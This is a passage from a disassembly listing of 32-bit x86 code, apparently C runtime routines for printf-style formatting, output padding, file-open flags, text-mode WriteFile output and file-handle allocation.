[ebp+arg_4] mov ecx, [edx] add ecx, 8 mov [edx], ecx fld qword ptr [ecx-8] fstp [ebp+var_20] jmp short loc_44B82D ; --------------------------------------------------------------------------- loc_44B81D: ; CODE XREF: sub_44B42B+3DEj mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 8 mov [edx], ecx fld qword ptr [ecx-8] fstp [ebp+var_20] loc_44B82D: ; CODE XREF: sub_44B42B+3F0j fld [ebp+var_20] fstp qword ptr [eax] mov eax, [ebp+arg_0] push eax call sub_44CA3B pop ecx cmp ax, 2 jz short loc_44B8A0 mov eax, [ebp+arg_0] test word ptr [eax+6], 8000h jz short loc_44B862 mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 2Dh jmp short loc_44B8A0 ; --------------------------------------------------------------------------- loc_44B862: ; CODE XREF: sub_44B42B+420j mov eax, [ebp+arg_0] test word ptr [eax+38h], 2 jz short loc_44B882 mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 2Bh jmp short loc_44B8A0 ; --------------------------------------------------------------------------- loc_44B882: ; CODE XREF: sub_44B42B+440j mov eax, [ebp+arg_0] test word ptr [eax+38h], 1 jz short loc_44B8A0 mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 20h loc_44B8A0: ; CODE XREF: sub_44B42B+415j ; sub_44B42B+435j ... mov eax, [ebp+arg_0] mov edx, [eax+14h] mov ecx, [ebp+arg_C] add edx, ecx mov [eax+10h], edx movzx eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] push eax call sub_44CA4B add esp, 8 jmp loc_44BB5D ; --------------------------------------------------------------------------- mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+3Ah] mov [ebp+var_24], eax cmp eax, 68h jz loc_44B9AD cmp eax, 6Ah jz short loc_44B955 cmp eax, 6Ch jz loc_44B9C8 jg short loc_44B8F2 cmp [ebp+var_24], 62h jz short loc_44B917 jmp loc_44B9E2 ; --------------------------------------------------------------------------- loc_44B8F2: ; CODE XREF: sub_44B42B+4BAj mov eax, [ebp+var_24] cmp eax, 71h jz short loc_44B931 cmp eax, 74h jz short loc_44B979 cmp eax, 71h jl loc_44B9E2 cmp [ebp+var_24], 7Ah jz loc_44B993 jmp loc_44B9E2 ; --------------------------------------------------------------------------- loc_44B917: ; CODE XREF: sub_44B42B+4C0j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov edx, [edx-4] mov eax, [ebp+arg_0] mov eax, [eax+30h] mov [edx], al jmp loc_44BB5D ; --------------------------------------------------------------------------- loc_44B931: ; CODE XREF: sub_44B42B+4CDj mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov eax, [edx-4] mov edx, [ebp+arg_0] mov edx, [edx+30h] mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx jmp loc_44BB5D ; --------------------------------------------------------------------------- loc_44B955: ; CODE XREF: sub_44B42B+4AFj mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov eax, [edx-4] mov edx, [ebp+arg_0] mov edx, [edx+30h] mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx jmp loc_44BB5D ; --------------------------------------------------------------------------- loc_44B979: ; CODE XREF: sub_44B42B+4D2j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov edx, [edx-4] mov eax, [ebp+arg_0] mov eax, [eax+30h] mov [edx], eax jmp loc_44BB5D ; --------------------------------------------------------------------------- loc_44B993: ; CODE XREF: sub_44B42B+4E1j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov edx, [edx-4] mov eax, [ebp+arg_0] mov eax, [eax+30h] mov [edx], eax jmp loc_44BB5D ; --------------------------------------------------------------------------- loc_44B9AD: ; CODE XREF: sub_44B42B+4A6j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov edx, [edx-4] mov eax, [ebp+arg_0] mov eax, [eax+30h] mov [edx], ax jmp loc_44BB5D ; --------------------------------------------------------------------------- loc_44B9C8: ; CODE XREF: sub_44B42B+4B4j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov edx, [edx-4] mov eax, [ebp+arg_0] mov eax, [eax+30h] mov [edx], eax jmp loc_44BB5D ; --------------------------------------------------------------------------- loc_44B9E2: ; CODE XREF: sub_44B42B+4C2j ; sub_44B42B+4D7j ... mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov edx, [edx-4] mov eax, [ebp+arg_0] mov eax, [eax+30h] mov [edx], eax jmp loc_44BB5D ; --------------------------------------------------------------------------- mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov eax, [ebp+arg_0] mov edx, [edx-4] mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] xor ebx, ebx mov [eax], ecx mov [eax+4], ebx mov edx, [ebp+arg_0] mov dword ptr [edx+34h], 8 mov eax, [ebp+arg_0] or word ptr [eax+38h], 10h mov eax, [ebp+arg_0] mov edx, [eax+14h] mov ecx, [ebp+arg_C] add edx, ecx mov [eax+10h], edx push 78h mov eax, [ebp+arg_0] push eax call sub_44C7FB add esp, 8 jmp loc_44BB5D ; --------------------------------------------------------------------------- mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 6Ch jz loc_44BAFA mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [ebp+var_2C], edx mov [eax], edx mov edx, [ebp+arg_0] mov eax, [ebp+var_2C] mov eax, [eax-4] mov [edx+10h], eax mov eax, [ebp+arg_0] cmp dword ptr [eax+10h], 0 jnz short loc_44BA93 mov edx, [ebp+arg_0] mov dword ptr [edx+10h], offset dword_40FDE8 loc_44BA93: ; CODE XREF: sub_44B42B+65Cj mov eax, [ebp+arg_0] mov [ebp+var_38], eax cmp dword ptr [eax+2Ch], 0 jge short loc_44BAB4 mov edx, [ebp+arg_0] mov edx, [edx+10h] or eax, 0FFFFFFFFh loc_44BAA8: ; CODE XREF: sub_44B42B+682j inc eax cmp byte ptr [edx+eax], 0 jnz short loc_44BAA8 mov [ebp+var_30], eax jmp short loc_44BAEF ; --------------------------------------------------------------------------- loc_44BAB4: ; CODE XREF: sub_44B42B+672j mov eax, [ebp+arg_0] mov edx, [eax+2Ch] push edx push 0 mov eax, [eax+10h] push eax call sub_44A79B add esp, 0Ch mov [ebp+var_28], eax test eax, eax jz short loc_44BAE0 mov eax, [ebp+var_28] mov edx, [ebp+arg_0] mov edx, [edx+10h] sub eax, edx mov [ebp+var_34], eax jmp short loc_44BAE9 ; --------------------------------------------------------------------------- loc_44BAE0: ; CODE XREF: sub_44B42B+6A3j mov eax, [ebp+arg_0] mov eax, [eax+2Ch] mov [ebp+var_34], eax loc_44BAE9: ; CODE XREF: sub_44B42B+6B3j mov eax, [ebp+var_34] mov [ebp+var_30], eax loc_44BAEF: ; CODE XREF: sub_44B42B+687j mov eax, [ebp+var_30] mov edx, [ebp+var_38] mov [edx+1Ch], eax jmp short loc_44BB5D ; --------------------------------------------------------------------------- loc_44BAFA: ; CODE XREF: sub_44B42B+636j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov eax, [edx-4] push eax mov eax, [ebp+arg_0] push eax call sub_44C6AB add esp, 8 test eax, eax jge short loc_44BB5D or eax, 0FFFFFFFFh jmp short loc_44BB5F ; --------------------------------------------------------------------------- loc_44BB1D: ; CODE XREF: sub_44B42B+23j mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 25h jmp short loc_44BB5D ; --------------------------------------------------------------------------- loc_44BB32: ; CODE XREF: sub_44B42B+29j ; sub_44B42B+3Aj ... mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx cmp [ebp+arg_8], 0 jz short loc_44BB4D movzx eax, [ebp+arg_8] mov [ebp+var_28], eax jmp short loc_44BB54 ; --------------------------------------------------------------------------- loc_44BB4D: ; CODE XREF: sub_44B42B+717j mov [ebp+var_28], 25h loc_44BB54: ; CODE XREF: sub_44B42B+720j mov eax, [ebp+arg_C] mov ecx, [ebp+var_28] mov [eax+edx], cl loc_44BB5D: ; CODE XREF: sub_44B42B+84j ; sub_44B42B+BDj ... xor eax, eax loc_44BB5F: ; CODE XREF: sub_44B42B+C6j ; sub_44B42B+6F0j pop ebx mov esp, ebp pop ebp retn sub_44B42B endp ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44BB6B proc near ; CODE XREF: sub_449FDB+25Ap ; sub_44C6AB+D7p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov ebx, [ebp+arg_0] mov eax, [ebx+34h] sub eax, [ebx+14h] sub eax, [ebx+18h] sub eax, [ebx+1Ch] sub eax, [ebx+20h] sub eax, [ebx+24h] sub eax, [ebx+28h] mov [ebp+var_4], eax test word ptr [ebx+38h], 4 jnz short loc_44BBEA cmp [ebp+var_4], 0 jle short loc_44BBEA mov esi, [ebp+var_4] jmp short loc_44BBE6 ; --------------------------------------------------------------------------- loc_44BBA2: ; CODE XREF: sub_44BB6B+7Dj cmp esi, 20h jbe short loc_44BBB0 mov [ebp+var_8], 20h jmp short loc_44BBB5 ; --------------------------------------------------------------------------- loc_44BBB0: ; CODE XREF: sub_44BB6B+3Aj mov eax, esi mov [ebp+var_8], eax loc_44BBB5: ; CODE XREF: sub_44BB6B+43j mov eax, [ebp+var_8] mov edi, eax test edi, edi jle short loc_44BBE4 push edi push offset asc_40FDF0 ; " " mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_44BBDC add [ebx+30h], edi jmp short loc_44BBE4 ; --------------------------------------------------------------------------- loc_44BBDC: ; CODE XREF: sub_44BB6B+6Aj or eax, 0FFFFFFFFh jmp loc_44BDD2 ; --------------------------------------------------------------------------- loc_44BBE4: ; CODE XREF: sub_44BB6B+51j ; sub_44BB6B+6Fj sub esi, edi loc_44BBE6: ; CODE XREF: sub_44BB6B+35j test esi, esi jg short loc_44BBA2 loc_44BBEA: ; CODE XREF: sub_44BB6B+2Aj ; sub_44BB6B+30j cmp dword ptr [ebx+14h], 0 jle short loc_44BC1B mov eax, [ebx+14h] push eax mov eax, [ebp+arg_4] push eax mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_44BC13 mov eax, [ebx+14h] add [ebx+30h], eax jmp short loc_44BC1B ; --------------------------------------------------------------------------- loc_44BC13: ; CODE XREF: sub_44BB6B+9Ej or eax, 0FFFFFFFFh jmp loc_44BDD2 ; --------------------------------------------------------------------------- loc_44BC1B: ; CODE XREF: sub_44BB6B+83j ; sub_44BB6B+A6j cmp dword ptr [ebx+18h], 0 jle short loc_44BC6E mov esi, [ebx+18h] jmp short loc_44BC6A ; --------------------------------------------------------------------------- loc_44BC26: ; CODE XREF: sub_44BB6B+101j cmp esi, 20h jbe short loc_44BC34 mov [ebp+var_8], 20h jmp short loc_44BC39 ; --------------------------------------------------------------------------- loc_44BC34: ; CODE XREF: sub_44BB6B+BEj mov eax, esi mov [ebp+var_8], eax loc_44BC39: ; CODE XREF: sub_44BB6B+C7j mov eax, [ebp+var_8] mov edi, eax test edi, edi jle short loc_44BC68 push edi push offset a00000000000000 ; "00000000000000000000000000000000" mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_44BC60 add [ebx+30h], edi jmp short loc_44BC68 ; --------------------------------------------------------------------------- loc_44BC60: ; CODE XREF: sub_44BB6B+EEj or eax, 0FFFFFFFFh jmp loc_44BDD2 ; --------------------------------------------------------------------------- loc_44BC68: ; CODE XREF: sub_44BB6B+D5j ; sub_44BB6B+F3j sub esi, edi loc_44BC6A: ; CODE XREF: sub_44BB6B+B9j test esi, esi jg short loc_44BC26 loc_44BC6E: ; CODE XREF: sub_44BB6B+B4j cmp dword ptr [ebx+1Ch], 0 jle short loc_44BC9F mov eax, [ebx+1Ch] push eax mov eax, [ebx+10h] push eax mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_44BC97 mov eax, [ebx+1Ch] add [ebx+30h], eax jmp short loc_44BC9F ; --------------------------------------------------------------------------- loc_44BC97: ; CODE XREF: sub_44BB6B+122j or eax, 0FFFFFFFFh jmp loc_44BDD2 ; --------------------------------------------------------------------------- loc_44BC9F: ; CODE XREF: sub_44BB6B+107j ; sub_44BB6B+12Aj cmp dword ptr [ebx+20h], 0 jle short loc_44BCF2 mov esi, [ebx+20h] jmp short loc_44BCEE ; --------------------------------------------------------------------------- loc_44BCAA: ; CODE XREF: sub_44BB6B+185j cmp esi, 20h jbe short loc_44BCB8 mov [ebp+var_8], 20h jmp short loc_44BCBD ; --------------------------------------------------------------------------- loc_44BCB8: ; CODE XREF: sub_44BB6B+142j mov eax, esi mov [ebp+var_8], eax loc_44BCBD: ; CODE XREF: sub_44BB6B+14Bj mov eax, [ebp+var_8] mov edi, eax test edi, edi jle short loc_44BCEC push edi push offset a00000000000000 ; "00000000000000000000000000000000" mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_44BCE4 add [ebx+30h], edi jmp short loc_44BCEC ; --------------------------------------------------------------------------- loc_44BCE4: ; CODE XREF: sub_44BB6B+172j or eax, 0FFFFFFFFh jmp loc_44BDD2 ; --------------------------------------------------------------------------- loc_44BCEC: ; CODE XREF: sub_44BB6B+159j ; sub_44BB6B+177j sub esi, edi loc_44BCEE: ; CODE XREF: sub_44BB6B+13Dj test esi, esi jg short loc_44BCAA loc_44BCF2: ; CODE XREF: sub_44BB6B+138j cmp dword ptr [ebx+24h], 0 jle short loc_44BD28 mov eax, [ebx+24h] push eax mov eax, [ebx+1Ch] mov edx, [ebx+10h] add eax, edx push eax mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_44BD20 mov eax, [ebx+24h] add [ebx+30h], eax jmp short loc_44BD28 ; --------------------------------------------------------------------------- loc_44BD20: ; CODE XREF: sub_44BB6B+1ABj or eax, 0FFFFFFFFh jmp loc_44BDD2 ; --------------------------------------------------------------------------- loc_44BD28: ; CODE XREF: sub_44BB6B+18Bj ; sub_44BB6B+1B3j cmp dword ptr [ebx+28h], 0 jle short loc_44BD78 mov esi, [ebx+28h] jmp short loc_44BD74 ; --------------------------------------------------------------------------- loc_44BD33: ; CODE XREF: sub_44BB6B+20Bj cmp esi, 20h jbe short loc_44BD41 mov [ebp+var_8], 20h jmp short loc_44BD46 ; --------------------------------------------------------------------------- loc_44BD41: ; CODE XREF: sub_44BB6B+1CBj mov eax, esi mov [ebp+var_8], eax loc_44BD46: ; CODE XREF: sub_44BB6B+1D4j mov eax, [ebp+var_8] mov edi, eax test edi, edi jle short loc_44BD72 push edi push offset a00000000000000 ; "00000000000000000000000000000000" mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_44BD6D add [ebx+30h], edi jmp short loc_44BD72 ; --------------------------------------------------------------------------- loc_44BD6D: ; CODE XREF: sub_44BB6B+1FBj or eax, 0FFFFFFFFh jmp short loc_44BDD2 ; --------------------------------------------------------------------------- loc_44BD72: ; CODE XREF: sub_44BB6B+1E2j ; sub_44BB6B+200j sub esi, edi loc_44BD74: ; CODE XREF: sub_44BB6B+1C6j test esi, esi jg short loc_44BD33 loc_44BD78: ; CODE XREF: sub_44BB6B+1C1j test word ptr [ebx+38h], 4 jz short loc_44BDD0 cmp [ebp+var_4], 0 jle short loc_44BDD0 mov esi, [ebp+var_4] jmp short loc_44BDCC ; --------------------------------------------------------------------------- loc_44BD8B: ; CODE XREF: sub_44BB6B+263j cmp esi, 20h jbe short loc_44BD99 mov [ebp+var_8], 20h jmp short loc_44BD9E ; --------------------------------------------------------------------------- loc_44BD99: ; CODE XREF: sub_44BB6B+223j mov eax, esi mov [ebp+var_8], eax loc_44BD9E: ; CODE XREF: sub_44BB6B+22Cj mov eax, [ebp+var_8] mov edi, eax test edi, edi jle short loc_44BDCA push edi push offset asc_40FDF0 ; " " mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_44BDC5 add [ebx+30h], edi jmp short loc_44BDCA ; --------------------------------------------------------------------------- loc_44BDC5: ; CODE XREF: sub_44BB6B+253j or eax, 0FFFFFFFFh jmp short loc_44BDD2 ; --------------------------------------------------------------------------- loc_44BDCA: ; CODE XREF: sub_44BB6B+23Aj ; sub_44BB6B+258j sub esi, edi loc_44BDCC: ; CODE XREF: sub_44BB6B+21Ej test esi, esi jg short loc_44BD8B loc_44BDD0: ; CODE XREF: sub_44BB6B+213j ; sub_44BB6B+219j xor eax, eax loc_44BDD2: ; CODE XREF: sub_44BB6B+74j ; sub_44BB6B+ABj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44BB6B endp ; --------------------------------------------------------------------------- db 89h, 0FFh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44BDDB proc near ; CODE XREF: sub_44A31B+101p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov ebx, [ebp+arg_4] mov eax, ebx and eax, 3 mov esi, dword_40FE34[eax*4] test ebx, 4 jz short loc_44BDFA or esi, 8 loc_44BDFA: ; CODE XREF: sub_44BDDB+1Aj test ebx, 8 jz short loc_44BE08 or esi, 200h loc_44BE08: ; CODE XREF: sub_44BDDB+25j test ebx, 10h jz short loc_44BE16 or esi, 100h loc_44BE16: ; CODE XREF: sub_44BDDB+33j test ebx, 20h jz short loc_44BE26 or esi, 8000h jmp short loc_44BE2C ; --------------------------------------------------------------------------- loc_44BE26: ; CODE XREF: sub_44BDDB+41j or esi, 4000h loc_44BE2C: ; CODE XREF: sub_44BDDB+49j push 180h push esi mov eax, [ebp+arg_0] push eax call sub_44D0AB add esp, 0Ch pop esi pop ebx pop ebp retn sub_44BDDB endp ; --------------------------------------------------------------------------- db 89h, 0FFh db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44BE4B proc near ; CODE XREF: sub_44A46B+Dp push 6 call sub_44D4BB pop ecx push 1 call sub_4491DB pop ecx retn sub_44BE4B endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44BE6B proc near ; CODE XREF: sub_44C05B+4Bp ; sub_44E44B+ADp var_411 = byte ptr -411h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h push ebx push esi push edi mov [ebp+var_C], 0 mov [ebp+var_4], 0 cmp [ebp+arg_8], 0 jnz short loc_44BE92 xor eax, eax jmp loc_44C054 ; --------------------------------------------------------------------------- loc_44BE92: ; CODE XREF: sub_44BE6B+1Ej mov eax, [ebp+arg_0] mov edx, eax and edx, 1Fh imul edx, 24h sar eax, 5 mov eax, dword_41398C[eax*4] test byte ptr [eax+edx+4], 20h jz short loc_44BEBE push 2 push 0 mov eax, [ebp+arg_0] push eax call sub_44D5EB add esp, 0Ch loc_44BEBE: ; CODE XREF: sub_44BE6B+41j mov eax, [ebp+arg_0] mov edx, eax and edx, 1Fh imul edx, 24h sar eax, 5 mov eax, dword_41398C[eax*4] test byte ptr [eax+edx+4], 80h jz loc_44BF9F mov esi, [ebp+arg_4] mov [ebp+var_10], 0 jmp loc_44BF8B ; --------------------------------------------------------------------------- loc_44BEED: ; CODE XREF: sub_44BE6B+12Cj lea edi, [ebp+var_411] jmp short loc_44BF0D ; --------------------------------------------------------------------------- loc_44BEF5: ; CODE XREF: sub_44BE6B+C0j mov eax, esi inc esi mov bl, [eax] cmp bl, 0Ah jnz short loc_44BF08 inc [ebp+var_4] mov eax, edi inc edi mov byte ptr [eax], 0Dh loc_44BF08: ; CODE XREF: sub_44BE6B+92j mov eax, edi inc edi mov [eax], bl loc_44BF0D: ; CODE XREF: sub_44BE6B+88j lea eax, [ebp+var_411] mov edx, edi sub edx, eax cmp edx, 400h jge short loc_44BF2D mov eax, [ebp+arg_4] mov edx, esi sub edx, eax mov eax, edx cmp eax, [ebp+arg_8] jb short loc_44BEF5 loc_44BF2D: ; CODE XREF: sub_44BE6B+B2j push 0 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_411] mov edx, edi sub edx, eax mov eax, edx push eax lea eax, [ebp+var_411] push eax mov eax, [ebp+arg_0] mov edx, eax and edx, 1Fh imul edx, 24h sar eax, 5 mov eax, dword_41398C[eax*4] mov eax, [eax+edx] push eax call dword_411E0C ; WriteFile test eax, eax jz short loc_44BF80 mov eax, [ebp+var_8] add [ebp+var_C], eax lea edx, [ebp+var_411] mov ecx, edi sub ecx, edx cmp eax, ecx jge short loc_44BF8B jmp short loc_44BFE8 ; --------------------------------------------------------------------------- loc_44BF80: ; CODE XREF: sub_44BE6B+FDj call dword_411CEC ; RtlGetLastWin32Error mov [ebp+var_10], eax jmp short loc_44BFE8 ; --------------------------------------------------------------------------- loc_44BF8B: ; CODE XREF: sub_44BE6B+7Dj ; sub_44BE6B+111j mov eax, [ebp+arg_4] mov edx, esi sub edx, eax mov eax, edx cmp eax, [ebp+arg_8] jb loc_44BEED jmp short loc_44BFE8 ; --------------------------------------------------------------------------- loc_44BF9F: ; CODE XREF: sub_44BE6B+6Dj push 0 lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] mov edx, eax and edx, 1Fh imul edx, 24h sar eax, 5 mov eax, dword_41398C[eax*4] mov eax, [eax+edx] push eax call dword_411E0C ; WriteFile test eax, eax jz short loc_44BFDF mov [ebp+var_10], 0 mov eax, [ebp+var_8] mov [ebp+var_C], eax jmp short loc_44BFE8 ; --------------------------------------------------------------------------- loc_44BFDF: ; CODE XREF: sub_44BE6B+163j call dword_411CEC ; RtlGetLastWin32Error mov [ebp+var_10], eax loc_44BFE8: ; CODE XREF: sub_44BE6B+113j ; sub_44BE6B+11Ej ... cmp [ebp+var_C], 0 jnz short loc_44C04E cmp [ebp+var_10], 0 jz short loc_44C016 cmp [ebp+var_10], 5 jnz short loc_44C007 call sub_449B9B mov dword ptr [eax], 9 jmp short loc_44C011 ; --------------------------------------------------------------------------- loc_44C007: ; CODE XREF: sub_44BE6B+18Dj mov eax, [ebp+var_10] push eax call sub_449A3B pop ecx loc_44C011: ; CODE XREF: sub_44BE6B+19Aj or eax, 0FFFFFFFFh jmp short loc_44C054 ; --------------------------------------------------------------------------- loc_44C016: ; CODE XREF: sub_44BE6B+187j mov eax, [ebp+arg_0] mov edx, eax and edx, 1Fh imul edx, 24h sar eax, 5 mov eax, dword_41398C[eax*4] test byte ptr [eax+edx+4], 40h jz short loc_44C03E mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jnz short loc_44C03E xor eax, eax jmp short loc_44C054 ; --------------------------------------------------------------------------- loc_44C03E: ; CODE XREF: sub_44BE6B+1C5j ; sub_44BE6B+1CDj call sub_449B9B mov dword ptr [eax], 1Ch or eax, 0FFFFFFFFh jmp short loc_44C054 ; --------------------------------------------------------------------------- loc_44C04E: ; CODE XREF: sub_44BE6B+181j mov eax, [ebp+var_C] sub eax, [ebp+var_4] loc_44C054: ; CODE XREF: sub_44BE6B+22j ; sub_44BE6B+1A9j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44BE6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44C05B proc near ; CODE XREF: sub_44A49B+79p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov ebx, [ebp+arg_0] cmp ebx, dword_413A8C jnb short loc_44C086 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] test byte ptr [edx+eax+4], 1 jnz short loc_44C096 loc_44C086: ; CODE XREF: sub_44C05B+Ej call sub_449B9B mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_44C0B9 ; --------------------------------------------------------------------------- loc_44C096: ; CODE XREF: sub_44C05B+29j push ebx call sub_44C47B pop ecx mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_4] push eax push ebx call sub_44BE6B add esp, 0Ch mov esi, eax push ebx call sub_44C4DB pop ecx mov eax, esi loc_44C0B9: ; CODE XREF: sub_44C05B+39j pop esi pop ebx pop ebp retn sub_44C05B endp ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44C0CB proc near ; CODE XREF: DMN1:loc_44C425p ; sub_44D0DB:loc_44D2D8p var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi or edi, 0FFFFFFFFh push 4 call sub_449F3B pop ecx xor esi, esi loc_44C0E1: ; CODE XREF: sub_44C0CB+128j cmp dword_41398C[esi*4], 0 jz loc_44C198 mov ebx, dword_41398C[esi*4] jmp loc_44C17D ; --------------------------------------------------------------------------- loc_44C0FB: ; CODE XREF: sub_44C0CB+C0j test byte ptr [ebx+4], 1 jnz short loc_44C17A cmp dword ptr [ebx+8], 0 jnz short loc_44C12A push 3 call sub_449F3B pop ecx cmp dword ptr [ebx+8], 0 jnz short loc_44C122 lea eax, [ebx+0Ch] push eax call dword_411CCC ; InitializeCriticalSection inc dword ptr [ebx+8] loc_44C122: ; CODE XREF: sub_44C0CB+48j push 3 call sub_449FBB pop ecx loc_44C12A: ; CODE XREF: sub_44C0CB+3Aj lea eax, [ebx+0Ch] push eax call dword_411CD0 ; RtlEnterCriticalSection test byte ptr [ebx+4], 1 jz short loc_44C146 lea eax, [ebx+0Ch] push eax call dword_411CD4 ; RtlLeaveCriticalSection jmp short loc_44C17A ; --------------------------------------------------------------------------- loc_44C146: ; CODE XREF: sub_44C0CB+6Dj mov dword ptr [ebx], 0FFFFFFFFh mov eax, esi shl eax, 5 mov [ebp+var_4], eax mov edx, dword_41398C[esi*4] mov ecx, ebx sub ecx, edx mov eax, ecx push eax mov edx, 38E38E39h imul edx pop eax shr eax, 1Fh sar edx, 3 add eax, edx mov edx, [ebp+var_4] lea edi, [eax+edx] jmp short loc_44C191 ; --------------------------------------------------------------------------- loc_44C17A: ; CODE XREF: sub_44C0CB+34j ; sub_44C0CB+79j add ebx, 24h loc_44C17D: ; CODE XREF: sub_44C0CB+2Bj mov eax, dword_41398C[esi*4] add eax, 480h cmp ebx, eax jb loc_44C0FB loc_44C191: ; CODE XREF: sub_44C0CB+ADj cmp edi, 0FFFFFFFFh jz short loc_44C1EF jmp short loc_44C1F9 ; --------------------------------------------------------------------------- loc_44C198: ; CODE XREF: sub_44C0CB+1Ej push 480h call sub_44999B pop ecx mov ebx, eax test eax, eax jz short loc_44C1F9 mov dword_41398C[esi*4], ebx add dword_413A8C, 20h jmp short loc_44C1D1 ; --------------------------------------------------------------------------- loc_44C1B9: ; CODE XREF: sub_44C0CB+114j mov byte ptr [ebx+4], 0 mov dword ptr [ebx], 0FFFFFFFFh mov byte ptr [ebx+5], 0Ah mov dword ptr [ebx+8], 0 add ebx, 24h loc_44C1D1: ; CODE XREF: sub_44C0CB+ECj mov eax, dword_41398C[esi*4] add eax, 480h cmp ebx, eax jb short loc_44C1B9 mov edi, esi shl edi, 5 push edi call sub_44C47B pop ecx jmp short loc_44C1F9 ; --------------------------------------------------------------------------- loc_44C1EF: ; CODE XREF: sub_44C0CB+C9j inc esi cmp esi, 40h jl loc_44C0E1 loc_44C1F9: ; CODE XREF: sub_44C0CB+CBj ; sub_44C0CB+DCj ... push 4 call sub_449FBB pop ecx mov eax, edi pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44C0CB endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_44C20B proc near ; CODE XREF: sub_44A57B+5Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] cmp ebx, dword_413A8C jnb loc_44C29A mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] add eax, edx test byte ptr [eax+4], 1 jz short loc_44C29A cmp dword ptr [eax], 0FFFFFFFFh jz short loc_44C29A test ebx, ebx jz short loc_44C250 cmp ebx, 1 jz short loc_44C25F cmp 